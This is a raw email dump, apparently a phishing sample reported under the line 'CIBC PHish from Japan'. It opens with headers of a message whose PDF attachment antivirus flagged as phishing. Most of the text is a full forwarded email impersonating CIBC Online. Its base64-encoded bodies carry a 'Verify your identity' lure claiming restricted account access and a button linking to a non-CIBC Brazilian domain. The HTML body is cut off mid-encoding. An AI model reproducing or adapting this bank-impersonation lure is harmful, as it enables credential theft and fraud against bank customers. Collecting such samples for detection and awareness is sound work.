Content-Type: multipart/mixed;

boundary="----=_NextPart_000_0012_FC1B0DFA.510CE68E"

X-TMN: [sPRypjnXqQxd2D96Pt6TEllzyOB7zf1V]

X-ClientProxiedBy: LO2P123CA0083.GBRP123.PROD.OUTLOOK.COM

(2603:10a6:600:138::16) To AS2PR10MB7762.EURPRD10.PROD.OUTLOOK.COM

(2603:10a6:20b:64b::22)

X-Microsoft-Original-Message-ID: <20231221143115.3DB8A63D3648C5E2@hotmail.com>

MIME-Version: 1.0

X-MS-Exchange-MessageSentRepresentingType: 1

X-MS-PublicTrafficType: Email

X-MS-TrafficTypeDiagnostic: AS2PR10MB7762:EE_|DB9PR10MB8285:EE_

X-MS-Office365-Filtering-Correlation-Id: 7d745f9c-43fd-477e-2f5d-08dc02748b8b

X-Microsoft-Antispam: BCL:0;

X-Microsoft-Antispam-Message-Info:

cWnu5gRlUG9EKcuzktbG/MrU6GNkJJ/kosTwSWY99iY3gF9WM5XKMULjdavzExQ0AB3XAHo+YA2zJer9g9x2D2TGQ8NisRBBBDcPOnpFA0CBsB8HCiyHJGLXpH1b4NhMOyq5sHkI92CCMQLYMPriub5+Q/nk3jCBpUZbxqubihkroEF8FDHnE6TjC+pur99FE6UaCO6hdMgHYO/kiRdx7tg7FLPxSvUvCVHpPqjOr4EqEs/Ynq22q/mFVYnLtaUvTHSj6yVpkphOIRmZjHyLR1Js+mtupD/gC8rIIgb7Aoc=

X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1

X-MS-Exchange-AntiSpam-MessageData-0:

=?iso-8859-1?Q?Q5UU30bwwMt+0kEFG9ZZWIzKZVUovAcwf0Extb2xZpjXt0HfQQTuzJbHwW?=

=?iso-8859-1?Q?0384P4+SCncUnypsJQWiICLyqq4U0ZESZq3b1R9KbDAxdPQOSTqg7MHLdN?=

=?iso-8859-1?Q?9FCaN5gWqdk6tR5KTT8GvzQu+MF0xALhpvJFwFcZASR1QE+U+xbl0RNZKW?=

=?iso-8859-1?Q?Yogn0aEjErTQ0KhEMuucgwdDWJ+shWdd+hilAUQt0/XWko4+ATpxJ42ioV?=

=?iso-8859-1?Q?4lHo4vZRtwWdqtGJkbWnyzmTqDzUIUg55Zh7WJ/fbhupFLam0DlV7ufiVp?=

=?iso-8859-1?Q?eDUm6XED5Ch9fyzNg6UiJ1fqp/5D2DmR9it++qVhged0HBiWwgOhZtWK+0?=

=?iso-8859-1?Q?Jc0+VGXDYOo9clzorH/nSOXex+ztCDfFn84BhA/VWa8NLOdncQGsWxnIwY?=

=?iso-8859-1?Q?20p/RD3oEJfHVagBkcT4hOffADscb5mrZvM2cXsiUXir/aTsMH4u9qtdJ4?=

=?iso-8859-1?Q?dyJoALf/45jE9y6Sdep1NLeR0jjb9obm4chwTGkA/u84NLl/AHbIitTtFg?=

=?iso-8859-1?Q?EAXPqtZ8ZfXatm5/hasfENppYDG5zEzvX3bIYYHBT7b9yAub0G2fAYG+EV?=

=?iso-8859-1?Q?pW5xzYIuCmqQGz/CUMU2BNBuoxYhJ50VsEkG7Ea+S8ZnvpGpFRB5U69RWi?=

=?iso-8859-1?Q?I9PHDFDKHqxA/Trz18BLqXOLN6/zaLIwUmK3agY4FjRlH/iSmeRvXEHmwg?=

=?iso-8859-1?Q?xaDFGi5VN9nI3fFpwup5qnyh1DfeQx1HjbQRlzUttGcQc2kZ7Wi9SF0apb?=

=?iso-8859-1?Q?VlAuapKjd5FVXal0sRYHIN5zQTErnN+t7k+knTt/L+WDruKP0ogvlyS2hg?=

=?iso-8859-1?Q?UVL5E3+ItpTBC0nfk8mFrQInLL5OryS+3HrOC1GTrQzf4rHqGVFkrnwKjm?=

=?iso-8859-1?Q?Q1kEj00md74qygdPWezzweCBVUcmdowygp/8R7b5Id8abMQzLs1jKlIJTw?=

=?iso-8859-1?Q?Vo6aZ6h2i6+l6W3eNT8Lnd1TKF9UUd5MXtWTJuoEQTNEA2gUizc6sqbg/V?=

=?iso-8859-1?Q?RNrbRmw6s1ZeyHJV/OuegG8WbrvFon2abHM2YBTluPsrbRvm9PSRl5FXsY?=

=?iso-8859-1?Q?Vrn9WZHMS+3HVAs3+9QUNbJ+TwKxEMU2JW7vmA3csLxzW5yj0aLi/nV5lE?=

=?iso-8859-1?Q?fFeljo4sQxHdFvJC4k9IaT4VkIipdKWcCXyrkaQ0VAdoTDEesIAvdmUv4b?=

=?iso-8859-1?Q?KqFgJcUzyja0S6tLaH4t8dDYJ0CUPJftungYbpDraHp99ranrQEniGkVKu?=

=?iso-8859-1?Q?6LAjgUr+GjxMJENhoz7x+gritAXbNTqGgDoPWLmxY=3D?=

X-OriginatorOrg: sct-15-20-4755-11-msonline-outlook-6b909.templateTenant

X-MS-Exchange-CrossTenant-Network-Message-Id: 7d745f9c-43fd-477e-2f5d-08dc02748b8b

X-MS-Exchange-CrossTenant-AuthSource: AS2PR10MB7762.EURPRD10.PROD.OUTLOOK.COM

X-MS-Exchange-CrossTenant-AuthAs: Internal

X-MS-Exchange-CrossTenant-OriginalArrivalTime: 21 Dec 2023 22:31:16.3866

(UTC)

X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted

X-MS-Exchange-CrossTenant-Id: 84df9e7f-e9f6-40af-b435-aaaaaaaaaaaa

X-MS-Exchange-CrossTenant-RMS-PersistedConsumerOrg:

00000000-0000-0000-0000-000000000000

X-MS-Exchange-Transport-CrossTenantHeadersStamped: DB9PR10MB8285

X-Antivirus: AVG (VPS 231221-4, 12/21/2023), Inbound message

X-Antivirus-Status: Infected

X-Attachment: Quote & Estimate.pdf#1300457522 Virus: PDF:PhishingX-gen [Phish] Moved to chest



------=_NextPart_000_0012_FC1B0DFA.510CE68E

Content-Type: text/html;

charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable




w3.org/TR/html4/loose.dtd">


1">



 

=



------=_NextPart_000_0012_FC1B0DFA.510CE68E--

CIBC PHish from Japan

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 21 Dec 2023 16:41:45 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.97 (FreeBSD))

(envelope-from )

id 1rGSec-00000000C0n-23C5

for dave@doctor.nl2k.ab.ca;

Thu, 21 Dec 2023 16:40:38 -0700

Resent-From: The Doctor

Resent-Date: Thu, 21 Dec 2023 16:40:38 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from sv8265.xserver.jp ([183.181.89.106]:41826)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

(Exim 4.97 (FreeBSD))

(envelope-from )

id 1rGR9H-000000002Ea-1J29

for sales@nk.ca;

Thu, 21 Dec 2023 15:04:16 -0700

X-Virus-Status: clean(F-Secure/fsigk_smtp/521/virusgw12005.xserver.jp)

Received: from tmc3300.sakura.ne.jp (www1781.sakura.ne.jp [112.78.112.91])

by sv8265.xserver.jp (Postfix) with ESMTPA id BB73030540AE3D

for ; Fri, 22 Dec 2023 07:01:47 +0900 (JST)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=webtech9.com;

s=default; t=1703196107;

bh=yahBtOFMijbC5KA2NZOhEYNgAOePju2vKIbEt0dc1P0=;

h=Date:To:From:Subject:From;

b=JtArI/HzSqerIy7cxrxTwzWnS1hVB5+a3aBbbwZ/yjogVu/d+gylOePqmfyagTCP1

H0nb0syYoiIt9Am5UPLwHIQiAHPDQoc9JvS3NkMlKh0XWtxS/fmuUO3BJkL8Vg8vMf

dG7GEdptLykNPC3DHqtqnoPxU66cNrnUuuvPC7AOQ3B4zY5W5FKsestQ9/F9d3PxVJ

hGt/8wo0GQXmcfR0Rp15/DEkeigTwpEJyRc18AOMoQSZi31MAyqSMiXVmx75p6NNX0

E/BTXPZT8NA732NQkcUOhjGoKCSxQzVDWZTCLNc35Y8R4TBHiqbT4OAanGtX0oh4Dh

KU1rZAGxTnWdw==

Date: Thu, 21 Dec 2023 14:01:47 -0800

To: sales@nk.ca

From: CIBC Online

Subject: Online - Verify your identity

Message-ID:

X-Priority: 0

X-Mailer: PHPMailer 5.2.23 (https://github.com/PHPMailer/PHPMailer)

MIME-Version: 1.0

Content-Type: multipart/alternative;

boundary="b1_fd2d8e0f9911395b4680d4a21bfa6953"

X-Antivirus: AVG (VPS 231221-4, 12/21/2023), Inbound message

X-Antivirus-Status: Clean



This is a multi-part message in MIME format.



--b1_fd2d8e0f9911395b4680d4a21bfa6953

Content-Type: text/plain; charset=UTF-8

Content-Transfer-Encoding: base64



VmVyaWZ5IHlvdXIgaWRlbnRpdHkgQ0lCQyBPbmxpbmUsDQrCoA0KV2UgYXJlIHNlbmRpbmcgdGhp

cyBtZXNzYWdlIHRvIGluZm9ybSB5b3UgdGhhdCBkdWUgdG8gcmVjZW50IGFjdGl2aXR5IG9uIHlv

dXIgYWNjb3VudC4gV2UgaGF2ZSB0ZW1wb3JhcmlseSBsaW1pdGVkIHNvbWUgZnVuY3Rpb25hbGl0

eSBvZiB5b3VyIGFjY291bnQgc2VydmljZXMuDQoNCg0KwqANClRvIHJlc29sdmUgdGhpcyBpc3N1

ZSwgcGxlYXNlIHZpc2l0IHRoZSBsaW5rIGJlbG93IHRvIHZlcmlmeSB5b3VyIGlkZW50aXR5IGFu

ZCBmb2xsb3cgdGhlIGluc3RydWN0aW9ucyByZXF1aXJlZDoNCg0KDQoNCg0KVmVyaWZ5IHlvdXIg

aWRlbnRpdHkNCsKgDQoNClBsZWFzZSBkb24ndCByZXBseSB0byB0aGlzIGVtYWlsLiBJZiB5b3Ug

aGF2ZSBhbnkgcXVlc3Rpb25zLCBjb250YWN0IE9ubGluZSBDdXN0b21lciBTdXBwb3J0IGF0IDEt

ODg4LTg3Mi0yNDIyLg0KU2luY2VyZWx5LMKgDQpDSUJDIE9ubGluZSBDdXN0b21lciBTdXBwb3J0

IA0KDQogICAgICANCiAgICANCiAgICAgICAgICAgICAgDQogICAgICAgICAgICANCiAgICAgICAg

ICANCiAgICAgICAgICAgIA0KICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICANCiAgICAg

IA0KICAgICAgDQogICAgICANCiAgICAgIA0KICAgIA0KICAgIA0KICAgICAgICAgICAgICANCiAg

ICAgICAgICAgIA0KICAgICAgICAgIA0KICAgICAgICAgICAgDQogICAgICAgICAgICAgIA0KICAg

ICAgICAgICAgICAgIA0KICAgICAgDQogICAgICAgIENhbmFkaWFuIEltcGVyaWFsIEJhbmsgb2Yg

Q29tbWVyY2UgV2Vic2l0ZSAtIENvcHlyaWdodCDCqSBDSUJDLg==





--b1_fd2d8e0f9911395b4680d4a21bfa6953

Content-Type: text/html; charset=UTF-8

Content-Transfer-Encoding: base64



PCFET0NUWVBFIGh0bWw+PGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwi

IHhtbG5zOnY9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206dm1sIiB4bWxuczpvPSJ1cm46c2No

ZW1hcy1taWNyb3NvZnQtY29tOm9mZmljZTpvZmZpY2UiPjxoZWFkPg0KICAgICAgICA8dGl0bGU+

DQogICAgICAgICAgDQogICAgICAgIDwvdGl0bGU+DQogICAgICAgIDwhLS1baWYgIW1zb10+PCEt

LSAtLT4NCiAgICAgICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50

PSJJRT1lZGdlIj4NCiAgICAgICAgPCEtLTwhW2VuZGlmXS0tPg0KICAgICAgICA8bWV0YSBodHRw

LWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+

DQogICAgICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lk

dGgsIGluaXRpYWwtc2NhbGU9MSI+DQogICAgICAgIDxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQog

ICAgICAgICAgI291dGxvb2sgYSB7IHBhZGRpbmc6MDsgfQ0KICAgICAgICAgIC5SZWFkTXNnQm9k

eSB7IHdpZHRoOjEwMCU7IH0NCiAgICAgICAgICAuRXh0ZXJuYWxDbGFzcyB7IHdpZHRoOjEwMCU7

IH0NCiAgICAgICAgICAuRXh0ZXJuYWxDbGFzcyAqIHsgbGluZS1oZWlnaHQ6MTAwJTsgfQ0KICAg

ICAgICAgIGJvZHkgeyBtYXJnaW46MDtwYWRkaW5nOjA7LXdlYmtpdC10ZXh0LXNpemUtYWRqdXN0

OjEwMCU7LW1zLXRleHQtc2l6ZS1hZGp1c3Q6MTAwJTsgfQ0KICAgICAgICAgIHRhYmxlLCB0ZCB7

IGJvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTttc28tdGFibGUtbHNwYWNlOjBwdDttc28tdGFibGUt

cnNwYWNlOjBwdDsgfQ0KICAgICAgICAgIGltZyB7IGJvcmRlcjowO2hlaWdodDphdXRvO2xpbmUt

aGVpZ2h0OjEwMCU7IG91dGxpbmU6bm9uZTt0ZXh0LWRlY29yYXRpb246bm9uZTstbXMtaW50ZXJw

b2xhdGlvbi1tb2RlOmJpY3ViaWM7IH0NCiAgICAgICAgICBwIHsgZGlzcGxheTpibG9jazttYXJn

aW46MTNweCAwOyB9DQogICAgICAgIDwvc3R5bGU+DQogICAgICAgIDwhLS1baWYgIW1zb10+PCEt

LT4NCiAgICAgICAgPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCiAgICAgICAgICBAbWVkaWEgb25s

eSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6NDgwcHgpIHsNCiAgICAgICAgICAgIEAtbXMtdmlld3Bv

cnQgeyB3aWR0aDozMjBweDsgfQ0KICAgICAgICAgICAgQHZpZXdwb3J0IHsgd2lkdGg6MzIwcHg7

IH0NCiAgICAgICAgICB9DQogICAgICAgIDwvc3R5bGU+DQogICAgICAgIDwhLS08IVtlbmRpZl0t

LT4NCiAgICAgICAgPCEtLVtpZiBtc29dPg0KICAgICAgICA8eG1sPg0KICAgICAgICA8bzpPZmZp

Y2VEb2N1bWVudFNldHRpbmdzPg0KICAgICAgICAgIDxvOkFsbG93UE5HLz4NCiAgICAgICAgICA8

bzpQaXhlbHNQZXJJbmNoPjk2PC9vOlBpeGVsc1BlckluY2g+DQogICAgICAgIDwvbzpPZmZpY2VE

b2N1bWVudFNldHRpbmdzPg0KICAgICAgICA8L3htbD4NCiAgICAgICAgPCFbZW5kaWZdLS0+DQog

ICAgICAgIDwhLS1baWYgbHRlIG1zbyAxMV0+DQogICAgICAgIDxzdHlsZSB0eXBlPSJ0ZXh0L2Nz

cyI+DQogICAgICAgICAgLm91dGxvb2stZ3JvdXAtZml4IHsgd2lkdGg6MTAwJSAhaW1wb3J0YW50

OyB9DQogICAgICAgIDwvc3R5bGU+DQogICAgICAgIDwhW2VuZGlmXS0tPg0KICAgICAgICANCiAg

ICAgIDwhLS1baWYgIW1zb10+PCEtLT4NCiAgICAgICAgPGxpbmsgaHJlZj0iaHR0cHM6Ly9mb250

cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PVVidW50dTozMDAsNDAwLDUwMCw3MDAiIHJlbD0i

c3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPg0KPGxpbmsgaHJlZj0iaHR0cHM6Ly9mb250cy5n

b29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PUNhYmluOjQwMCw3MDAiIHJlbD0ic3R5bGVzaGVldCIg

dHlwZT0idGV4dC9jc3MiPg0KICAgICAgICA8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KICAgICAg

ICAgIEBpbXBvcnQgdXJsKGh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1V

YnVudHU6MzAwLDQwMCw1MDAsNzAwKTsNCkBpbXBvcnQgdXJsKGh0dHBzOi8vZm9udHMuZ29vZ2xl

YXBpcy5jb20vY3NzP2ZhbWlseT1DYWJpbjo0MDAsNzAwKTsNCiAgICAgICAgPC9zdHlsZT4NCiAg

ICAgIDwhLS08IVtlbmRpZl0tLT4NCg0KICAgIA0KICAgICAgICANCiAgICA8c3R5bGUgdHlwZT0i

dGV4dC9jc3MiPg0KICAgICAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLXdpZHRoOjQ4MHB4

KSB7DQogICAgICAgIC5tai1jb2x1bW4tcGVyLTEwMCB7IHdpZHRoOjEwMCUgIWltcG9ydGFudDsg

bWF4LXdpZHRoOiAxMDAlOyB9DQogICAgICB9DQogICAgPC9zdHlsZT4NCiAgICANCiAgDQogICAg

ICAgIDxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQogICAgICAgIA0KICAgICAgICANCiAgICAgICAg

PC9zdHlsZT4NCiAgICAgICAgPHN0eWxlIHR5cGU9InRleHQvY3NzIj4uaGlkZV9vbl9tb2JpbGUg

eyBkaXNwbGF5OiBub25lICFpbXBvcnRhbnQ7fSANCiAgICAgICAgQG1lZGlhIG9ubHkgc2NyZWVu

IGFuZCAobWluLXdpZHRoOiA0ODBweCkgeyAuaGlkZV9vbl9tb2JpbGUgeyBkaXNwbGF5OiBibG9j

ayAhaW1wb3J0YW50O30gfQ0KICAgICAgICAuaGlkZV9zZWN0aW9uX29uX21vYmlsZSB7IGRpc3Bs

YXk6IG5vbmUgIWltcG9ydGFudDt9IA0KICAgICAgICBAbWVkaWEgb25seSBzY3JlZW4gYW5kICht

aW4td2lkdGg6IDQ4MHB4KSB7IC5oaWRlX3NlY3Rpb25fb25fbW9iaWxlIHsgZGlzcGxheTogdGFi

bGUgIWltcG9ydGFudDt9IH0NCiAgICAgICAgLmhpZGVfb25fZGVza3RvcCB7IGRpc3BsYXk6IGJs

b2NrICFpbXBvcnRhbnQ7fSANCiAgICAgICAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLXdp

ZHRoOiA0ODBweCkgeyAuaGlkZV9vbl9kZXNrdG9wIHsgZGlzcGxheTogbm9uZSAhaW1wb3J0YW50

O30gfQ0KICAgICAgICAuaGlkZV9zZWN0aW9uX29uX2Rlc2t0b3AgeyBkaXNwbGF5OiB0YWJsZSAh

aW1wb3J0YW50O30gDQogICAgICAgIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi13aWR0aDog

NDgwcHgpIHsgLmhpZGVfc2VjdGlvbl9vbl9kZXNrdG9wIHsgZGlzcGxheTogbm9uZSAhaW1wb3J0

YW50O30gfQ0KICAgICAgICBbb3dhXSAubWotY29sdW1uLXBlci0xMDAgew0KICAgICAgICAgICAg

d2lkdGg6IDEwMCUhaW1wb3J0YW50Ow0KICAgICAgICAgIH0NCiAgICAgICAgICBbb3dhXSAubWot

Y29sdW1uLXBlci01MCB7DQogICAgICAgICAgICB3aWR0aDogNTAlIWltcG9ydGFudDsNCiAgICAg

ICAgICB9DQogICAgICAgICAgW293YV0gLm1qLWNvbHVtbi1wZXItMzMgew0KICAgICAgICAgICAg

d2lkdGg6IDMzLjMzMzMzMzMzMzMzMzMzNiUhaW1wb3J0YW50Ow0KICAgICAgICAgIH0NCiAgICAg

ICAgICBwIHsNCiAgICAgICAgICAgICAgbWFyZ2luOiAwcHg7DQogICAgICAgICAgfQ0KICAgICAg

ICAgIEBtZWRpYSBvbmx5IHByaW50IGFuZCAobWluLXdpZHRoOjQ4MHB4KSB7DQogICAgICAgICAg

ICAubWotY29sdW1uLXBlci0xMDAgeyB3aWR0aDoxMDAlIWltcG9ydGFudDsgfQ0KICAgICAgICAg

ICAgLm1qLWNvbHVtbi1wZXItNDAgeyB3aWR0aDo0MCUhaW1wb3J0YW50OyB9DQogICAgICAgICAg

ICAubWotY29sdW1uLXBlci02MCB7IHdpZHRoOjYwJSFpbXBvcnRhbnQ7IH0NCiAgICAgICAgICAg

IC5tai1jb2x1bW4tcGVyLTUwIHsgd2lkdGg6IDUwJSFpbXBvcnRhbnQ7IH0NCiAgICAgICAgICAg

IG1qLWNvbHVtbi1wZXItMzMgeyB3aWR0aDogMzMuMzMzMzMzMzMzMzMzMzM2JSFpbXBvcnRhbnQ7

IH0NCiAgICAgICAgICAgIH08L3N0eWxlPg0KICAgICAgICANCiAgICAgIDwvaGVhZD4NCiAgICAg

IDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiNGRkZGRkY7Ij4NCiAgICAgICAgDQogICAg

ICAgIA0KICAgICAgPGRpdiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojRkZGRkZGOyI+DQogICAg

ICAgIA0KICAgICAgDQogICAgICA8IS0tW2lmIG1zbyB8IElFXT4NCiAgICAgIDx0YWJsZQ0KICAg

ICAgICAgYWxpZ249ImNlbnRlciIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNp

bmc9IjAiIGNsYXNzPSIiIHN0eWxlPSJ3aWR0aDo2MDBweDsiIHdpZHRoPSI2MDAiDQogICAgICA+

DQogICAgICAgIDx0cj4NCiAgICAgICAgICA8dGQgc3R5bGU9ImxpbmUtaGVpZ2h0OjBweDtmb250

LXNpemU6MHB4O21zby1saW5lLWhlaWdodC1ydWxlOmV4YWN0bHk7Ij4NCiAgICAgIDwhW2VuZGlm

XS0tPg0KICAgIA0KICAgICAgDQogICAgICA8ZGl2IHN0eWxlPSJNYXJnaW46MHB4IGF1dG87bWF4

LXdpZHRoOjYwMHB4OyI+DQogICAgICAgIA0KICAgICAgICA8dGFibGUgYWxpZ249ImNlbnRlciIg

Ym9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHJvbGU9InByZXNlbnRh

dGlvbiIgc3R5bGU9IndpZHRoOjEwMCU7Ij4NCiAgICAgICAgICA8dGJvZHk+DQogICAgICAgICAg

ICA8dHI+DQogICAgICAgICAgICAgIDx0ZCBzdHlsZT0iZGlyZWN0aW9uOmx0cjtmb250LXNpemU6

MHB4O3BhZGRpbmc6OXB4IDBweCA5cHggMHB4O3RleHQtYWxpZ246Y2VudGVyO3ZlcnRpY2FsLWFs

aWduOnRvcDsiPg0KICAgICAgICAgICAgICAgIDwhLS1baWYgbXNvIHwgSUVdPg0KICAgICAgICAg

ICAgICAgICAgPHRhYmxlIHJvbGU9InByZXNlbnRhdGlvbiIgYm9yZGVyPSIwIiBjZWxscGFkZGlu

Zz0iMCIgY2VsbHNwYWNpbmc9IjAiPg0KICAgICAgICAgICAgICAgIA0KICAgICAgICA8dHI+DQog

ICAgICANCiAgICAgICAgICAgIDx0ZA0KICAgICAgICAgICAgICAgY2xhc3M9IiIgc3R5bGU9InZl

cnRpY2FsLWFsaWduOnRvcDt3aWR0aDo2MDBweDsiDQogICAgICAgICAgICA+DQogICAgICAgICAg

PCFbZW5kaWZdLS0+DQogICAgICAgICAgICANCiAgICAgIDxkaXYgY2xhc3M9Im1qLWNvbHVtbi1w

ZXItMTAwIG91dGxvb2stZ3JvdXAtZml4IiBzdHlsZT0iZm9udC1zaXplOjEzcHg7dGV4dC1hbGln

bjpsZWZ0O2RpcmVjdGlvbjpsdHI7ZGlzcGxheTppbmxpbmUtYmxvY2s7dmVydGljYWwtYWxpZ246

dG9wO3dpZHRoOjEwMCU7Ij4NCiAgICAgICAgDQogICAgICA8dGFibGUgYm9yZGVyPSIwIiBjZWxs

cGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHJvbGU9InByZXNlbnRhdGlvbiIgc3R5bGU9InZl

cnRpY2FsLWFsaWduOnRvcDsiIHdpZHRoPSIxMDAlIj4NCiAgICAgICAgDQogICAgICAgICAgICA8

dGJvZHk+PHRyPg0KICAgICAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHN0eWxlPSJmb250LXNp

emU6MHB4O3BhZGRpbmc6NXB4IDVweCA1cHggNXB4O3dvcmQtYnJlYWs6YnJlYWstd29yZDsiPg0K

ICAgICAgICAgICAgICAgIA0KICAgICAgPGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6VWJ1bnR1LCBI

ZWx2ZXRpY2EsIEFyaWFsLCBzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxMXB4O2xpbmUtaGVpZ2h0OjEu

NTt0ZXh0LWFsaWduOmxlZnQ7Y29sb3I6IzAwMDAwMDsiPg0KICAgICAgICA8ZGl2Pg0KCQk8aW1n

IHNyYz0iaHR0cHM6Ly93d3cuY2liY29ubGluZS5jaWJjLmNvbS9lYm0tcmVzb3VyY2VzL2F1dGgv

Y2xpZW50L2ltZy9jaWJjLWxvZ28tY29sb3VyLjg5YmY2MGYyLnN2ZyIgc3R5bGU9IndpZHRoOjE1

NHB4IiB3aWR0aD0iMTU0cHgiIGJvcmRlcj0iMCI+PC9zcGFuPjwvYT48L2Rpdj4NCiAgICAgIDwv

ZGl2Pg0KICAgIA0KICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgPC90cj4NCiAgICAg

ICAgICANCiAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgPHRkIHN0eWxlPSJmb250LXNp

emU6MHB4O3BhZGRpbmc6MTBweCAyNXB4O3BhZGRpbmctdG9wOjEwcHg7cGFkZGluZy1yaWdodDox

MHB4O3dvcmQtYnJlYWs6YnJlYWstd29yZDsiPg0KICAgICAgICAgICAgICAgIA0KICAgICAgPHAg

c3R5bGU9ImJvcmRlci10b3A6c29saWQgMXB4ICMwMDAwMDA7Zm9udC1zaXplOjE7bWFyZ2luOjBw

eCBhdXRvO3dpZHRoOjEwMCU7Ij4NCiAgICAgIDwvcD4NCiAgICAgIA0KICAgICAgPCEtLVtpZiBt

c28gfCBJRV0+DQogICAgICAgIDx0YWJsZQ0KICAgICAgICAgICBhbGlnbj0iY2VudGVyIiBib3Jk

ZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9ImJvcmRlci10b3A6

c29saWQgMXB4ICMwMDAwMDA7Zm9udC1zaXplOjE7bWFyZ2luOjBweCBhdXRvO3dpZHRoOjU2NXB4

OyIgcm9sZT0icHJlc2VudGF0aW9uIiB3aWR0aD0iNTY1cHgiDQogICAgICAgID4NCiAgICAgICAg

ICA8dHI+DQogICAgICAgICAgICA8dGQgc3R5bGU9ImhlaWdodDowO2xpbmUtaGVpZ2h0OjA7Ij4N

CiAgICAgICAgICAgICAgJm5ic3A7DQogICAgICAgICAgICA8L3RkPg0KICAgICAgICAgIDwvdHI+

DQogICAgICAgIDwvdGFibGU+DQogICAgICA8IVtlbmRpZl0tLT4NCiAgICANCiAgICANCiAgICAg

ICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgDQogICAgICAgICAg

ICA8dHI+DQogICAgICAgICAgICAgIDx0ZCBhbGlnbj0ibGVmdCIgc3R5bGU9ImZvbnQtc2l6ZTow

cHg7cGFkZGluZzoxNHB4IDE0cHggMTRweCAxNHB4O3dvcmQtYnJlYWs6YnJlYWstd29yZDsiPg0K

ICAgICAgICAgICAgICAgIA0KICAgICAgPGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6VWJ1bnR1LCBI

ZWx2ZXRpY2EsIEFyaWFsLCBzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxMXB4O2xpbmUtaGVpZ2h0OjEu

NTt0ZXh0LWFsaWduOmxlZnQ7Y29sb3I6IzAwMDAwMDsiPg0KICAgICAgICA8ZGl2Pg0KPGRpdj48

c3Ryb25nPjxzcGFuIHN0eWxlPSJmb250LXNpemU6IDE0cHg7Ij5WZXJpZnkgeW91ciBpZGVudGl0

eSBDSUJDIE9ubGluZSw8L3NwYW4+PC9zdHJvbmc+PC9kaXY+DQo8ZGl2PiYjeEEwOzwvZGl2Pg0K

PGRpdj48c3BhbiBzdHlsZT0iZm9udC1zaXplOiAxNHB4OyI+V2UgYXJlIHNlbmRpbmcgdGhpcyBt

ZXNzYWdlIHRvIGluZm9ybSB5b3UgdGhhdCBkdWUgdG8gcmVjZW50IGFjdGl2aXR5IG9uIHlvdXIg

YWNjb3VudC4gV2UgaGF2ZSB0ZW1wb3JhcmlseSBsaW1pdGVkIHNvbWUgZnVuY3Rpb25hbGl0eSBv

ZiB5b3VyIGFjY291bnQgc2VydmljZXMuDQoNCjwvc3Bhbj4NCjxkaXY+JiN4QTA7PC9kaXY+DQo8

ZGl2PjxzcGFuIHN0eWxlPSJmb250LXNpemU6IDE0cHg7Ij48Yj5UbyByZXNvbHZlIHRoaXMgaXNz

dWUsIHBsZWFzZSB2aXNpdCB0aGUgbGluayBiZWxvdyB0byB2ZXJpZnkgeW91ciBpZGVudGl0eSBh

bmQgZm9sbG93IHRoZSBpbnN0cnVjdGlvbnMgcmVxdWlyZWQ6PC9iPjwvc3Bhbj4NCjxicj4NCjxi

cj48YnI+DQoNCjxzdHJvbmc+DQo8c3BhbiBzdHlsZT0iZm9udC1zaXplOiAxNHB4OyI+PGEgaHJl

Zj0iaHR0cHM6Ly9lYXN5c29sdXRpb24uY29tLmJyLzczOTYwIiBzdHlsZT0iZm9udC1zaXplOiAx

NHB4O2ZvbnQtd2VpZ2h0OiBib2xkO2xldHRlci1zcGFjaW5nOiBub3JtYWw7bGluZS1oZWlnaHQ6

IDEwMCU7dGV4dC1hbGlnbjogY2VudGVyO2JhY2tncm91bmQ6I2M0MWYzZTtjb2xvcjojZmZmZmZm

O2xpbmUtaGVpZ2h0OjEyMCU7bWFyZ2luOjA7dGV4dC1kZWNvcmF0aW9uOm5vbmU7dGV4dC10cmFu

